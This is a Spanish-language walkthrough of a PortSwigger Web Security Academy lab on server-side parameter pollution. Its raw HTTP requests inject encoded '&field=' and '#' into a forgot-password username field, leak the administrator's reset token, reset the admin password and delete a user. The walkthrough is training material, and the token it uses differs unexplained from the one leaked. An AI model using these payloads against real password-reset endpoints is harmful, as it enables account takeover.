# Lab #2: Exploiting server-side parameter pollution in a query string

Clickeamos sobre "Olvide contraseña" y se genera la siguiente peticion:

```
POST /forgot-password HTTP/2
Host: 0aa3005203d3047380010d4b00b600a8.web-security-academy.net
Cookie: session=RqXwF4z7LXGnnVnFJKtqokpgSjUEDqQp
Content-Length: 60
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: es-CO,es;q=0.9
Sec-Ch-Ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"
Content-Type: x-www-form-urlencoded
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Accept: */*
Origin: https://0aa3005203d3047380010d4b00b600a8.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0aa3005203d3047380010d4b00b600a8.web-security-academy.net/forgot-password
Accept-Encoding: gzip, deflate, br
Priority: u=1, i
Connection: keep-alive

csrf=HPd9uJko5vPIzKQiJG1gGyu5syaCzRR4&username=administrator
```

Y esto responde asi:

```
HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 49

{"result":"*****@normal-user.net","type":"email"}
```

Y cambiamos el administratror a:

```
POST /forgot-password HTTP/2
Host: 0aa3005203d3047380010d4b00b600a8.web-security-academy.net
Cookie: session=RqXwF4z7LXGnnVnFJKtqokpgSjUEDqQp
Content-Length: 67
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: es-CO,es;q=0.9
Sec-Ch-Ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"
Content-Type: x-www-form-urlencoded
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Accept: */*
Origin: https://0aa3005203d3047380010d4b00b600a8.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0aa3005203d3047380010d4b00b600a8.web-security-academy.net/forgot-password
Accept-Encoding: gzip, deflate, br
Priority: u=1, i

csrf=HPd9uJko5vPIzKQiJG1gGyu5syaCzRR4&username=administratorspartan
```

Esto indica la posibilidad de enumerar usuarios activos en el sistema:

Debido a que la peticion previa respondio asi:

```
HTTP/2 400 Bad Request
Content-Type: application/json; charset=utf-8
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Content-Length: 61

{"type":"ClientError","code":400,"error":"Invalid username."}
```

Se procede a validar el siguiente payload:

```
POST /forgot-password HTTP/2
Host: 0aa3005203d3047380010d4b00b600a8.web-security-academy.net
Cookie: session=RqXwF4z7LXGnnVnFJKtqokpgSjUEDqQp
Content-Length: 66
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: es-CO,es;q=0.9
Sec-Ch-Ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"
Content-Type: x-www-form-urlencoded
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Accept: */*
Origin: https://0aa3005203d3047380010d4b00b600a8.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0aa3005203d3047380010d4b00b600a8.web-security-academy.net/forgot-password
Accept-Encoding: gzip, deflate, br
Priority: u=1, i

csrf=HPd9uJko5vPIzKQiJG1gGyu5syaCzRR4&username=administrator%26x=y
```

Y lo anterior respondio asi:

```
HTTP/2 400 Bad Request
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 40

{"error": "Parameter is not supported."}
```

Tambien se decide enviar este payload:

```
POST /forgot-password HTTP/2
Host: 0aa3005203d3047380010d4b00b600a8.web-security-academy.net
Cookie: session=RqXwF4z7LXGnnVnFJKtqokpgSjUEDqQp
Content-Length: 63
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: es-CO,es;q=0.9
Sec-Ch-Ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"
Content-Type: x-www-form-urlencoded
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Accept: */*
Origin: https://0aa3005203d3047380010d4b00b600a8.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0aa3005203d3047380010d4b00b600a8.web-security-academy.net/forgot-password
Accept-Encoding: gzip, deflate, br
Priority: u=1, i

csrf=HPd9uJko5vPIzKQiJG1gGyu5syaCzRR4&username=administrator%23
```

Lo cual respondio asi:

```
HTTP/2 400 Bad Request
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 33

{"error": "Field not specified."}
```

{% hint style="info" %}
Observa que esto devuelve un mensaje de error indicando "Field not specified". Esto sugiere que la consulta en el servidor podría incluir un parámetro adicional llamado `field`, el cual ha sido eliminado debido al carácter `#` 
{% endhint %}

Por lo anterior, se envia la siguiente peticion:

```
POST /forgot-password HTTP/2
Host: 0aa3005203d3047380010d4b00b600a8.web-security-academy.net
Cookie: session=RqXwF4z7LXGnnVnFJKtqokpgSjUEDqQp
Content-Length: 73
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: es-CO,es;q=0.9
Sec-Ch-Ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"
Content-Type: x-www-form-urlencoded
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Accept: */*
Origin: https://0aa3005203d3047380010d4b00b600a8.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0aa3005203d3047380010d4b00b600a8.web-security-academy.net/forgot-password
Accept-Encoding: gzip, deflate, br
Priority: u=1, i

csrf=HPd9uJko5vPIzKQiJG1gGyu5syaCzRR4&username=administrator%26field=x%23
```

Y esto responde asi:

```
HTTP/2 400 Bad Request
Content-Type: application/json; charset=utf-8
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Content-Length: 58

{"type":"ClientError","code":400,"error":"Invalid field."}
```

Utilicemos Intruder para identificar el nombre del campo y usaremos un simple list llamado **Server-side variable names**:

```
POST /forgot-password HTTP/2
Host: 0aa3005203d3047380010d4b00b600a8.web-security-academy.net
Cookie: session=RqXwF4z7LXGnnVnFJKtqokpgSjUEDqQp
Content-Length: 77
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: es-CO,es;q=0.9
Sec-Ch-Ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"
Content-Type: x-www-form-urlencoded
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Accept: */*
Origin: https://0aa3005203d3047380010d4b00b600a8.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0aa3005203d3047380010d4b00b600a8.web-security-academy.net/forgot-password
Accept-Encoding: gzip, deflate, br
Priority: u=1, i
Connection: keep-alive

csrf=HPd9uJko5vPIzKQiJG1gGyu5syaCzRR4&username=administrator%26field=email%23
```

Y esto responde asi:

```
HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 49

{"result":"*****@normal-user.net","type":"email"}
```

Durante la interaccion inicial se identifico el siguiente archivo:

```
GET /static/js/forgotPassword.js HTTP/2
Host: 0aa3005203d3047380010d4b00b600a8.web-security-academy.net
Cookie: session=RqXwF4z7LXGnnVnFJKtqokpgSjUEDqQp
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Accept: */*
Sec-Fetch-Site: none
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Sec-Fetch-Storage-Access: active
Accept-Encoding: gzip, deflate, br
Accept-Language: es-CO,es-419;q=0.9,es;q=0.8,en;q=0.7
Priority: u=1, i


```

Y el contenido de este archivo JavaScript:

{% code title="forgotPassword.js" %}

```javascript
let forgotPwdReady = (callback) => {
    if (document.readyState !== "loading") callback();
    else document.addEventListener("DOMContentLoaded", callback);
}

function urlencodeFormData(fd){
    let s = '';
    function encode(s){ return encodeURIComponent(s).replace(/%20/g,'+'); }
    for(let pair of fd.entries()){
        if(typeof pair[1]=='string'){
            s += (s?'&':'') + encode(pair[0])+'='+encode(pair[1]);
        }
    }
    return s;
}

const validateInputsAndCreateMsg = () => {
    try {
        const forgotPasswordError = document.getElementById("forgot-password-error");
        forgotPasswordError.textContent = "";
        const forgotPasswordForm = document.getElementById("forgot-password-form");
        const usernameInput = document.getElementsByName("username").item(0);
        if (usernameInput && !usernameInput.checkValidity()) {
            usernameInput.reportValidity();
            return;
        }
        const formData = new FormData(forgotPasswordForm);
        const config = {
            method: "POST",
            headers: {
                "Content-Type": "x-www-form-urlencoded",
            },
            body: urlencodeFormData(formData)
        };
        fetch(window.location.pathname, config)
            .then(response => response.json())
            .then(jsonResponse => {
                if (!jsonResponse.hasOwnProperty("result"))
                {
                    forgotPasswordError.textContent = "Invalid username";
                }
                else
                {
                    forgotPasswordError.textContent = `Please check your email: "${jsonResponse.result}"`;
                    forgotPasswordForm.className = "";
                    forgotPasswordForm.style.display = "none";
                }
            })
            .catch(err => {
                forgotPasswordError.textContent = "Invalid username";
            });
    } catch (error) {
        console.error("Unexpected Error:", error);
    }
}

const displayMsg = (e) => {
    e.preventDefault();
    validateInputsAndCreateMsg(e);
};

forgotPwdReady(() => {
    const queryString = window.location.search;
    const urlParams = new URLSearchParams(queryString);
    const resetToken = urlParams.get('reset-token');
    if (resetToken)
    {
        window.location.href = `/forgot-password?reset_token=${resetToken}`;
    }
    else
    {
        const forgotPasswordBtn = document.getElementById("forgot-password-btn");
        forgotPasswordBtn.addEventListener("click", displayMsg);
    }
});

```

{% endcode %}

Y en este archivo se identifica la siguiente linea:

```javascript
const resetToken = urlParams.get('reset-token');
```

Y debido a lo anterior, se enviara esta peticion:

```
POST /forgot-password HTTP/2
Host: 0aa3005203d3047380010d4b00b600a8.web-security-academy.net
Cookie: session=RqXwF4z7LXGnnVnFJKtqokpgSjUEDqQp
Content-Length: 83
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: es-CO,es;q=0.9
Sec-Ch-Ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"
Content-Type: x-www-form-urlencoded
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Accept: */*
Origin: https://0aa3005203d3047380010d4b00b600a8.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0aa3005203d3047380010d4b00b600a8.web-security-academy.net/forgot-password
Accept-Encoding: gzip, deflate, br
Priority: u=1, i

csrf=HPd9uJko5vPIzKQiJG1gGyu5syaCzRR4&username=administrator%26field=reset_token%23
```

y esto responde asi:

```
HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Content-Length: 66

{"result":"6wv2ep1u0yx85eyg67xt6oqrmbq84xej","type":"reset_token"}
```

Usando la informacion previamente obtenida construimos la peticion:

```
GET /forgot-password?reset_token=fta5fpffb6tjvk227ypf7f7g7porz4qd HTTP/2
Host: 0aa3005203d3047380010d4b00b600a8.web-security-academy.net
```

Esto nos redirecciona a un formulario que permite cambiar la contraseña para el usuario indicado administrator.

Y al enviar la peticion de cambio de password se genera asi:

```
POST /forgot-password?reset_token=fta5fpffb6tjvk227ypf7f7g7porz4qd HTTP/2
Host: 0aa3005203d3047380010d4b00b600a8.web-security-academy.net
Cookie: session=RqXwF4z7LXGnnVnFJKtqokpgSjUEDqQp
Content-Length: 132
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: es-CO,es;q=0.9
Origin: https://0aa3005203d3047380010d4b00b600a8.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0aa3005203d3047380010d4b00b600a8.web-security-academy.net/forgot-password?reset_token=fta5fpffb6tjvk227ypf7f7g7porz4qd
Accept-Encoding: gzip, deflate, br
Priority: u=0, i

csrf=HPd9uJko5vPIzKQiJG1gGyu5syaCzRR4&reset_token=fta5fpffb6tjvk227ypf7f7g7porz4qd&new-password-1=123456789&new-password-2=123456789
```

Luego de eso eliminamos a carlos para finalizar el reto.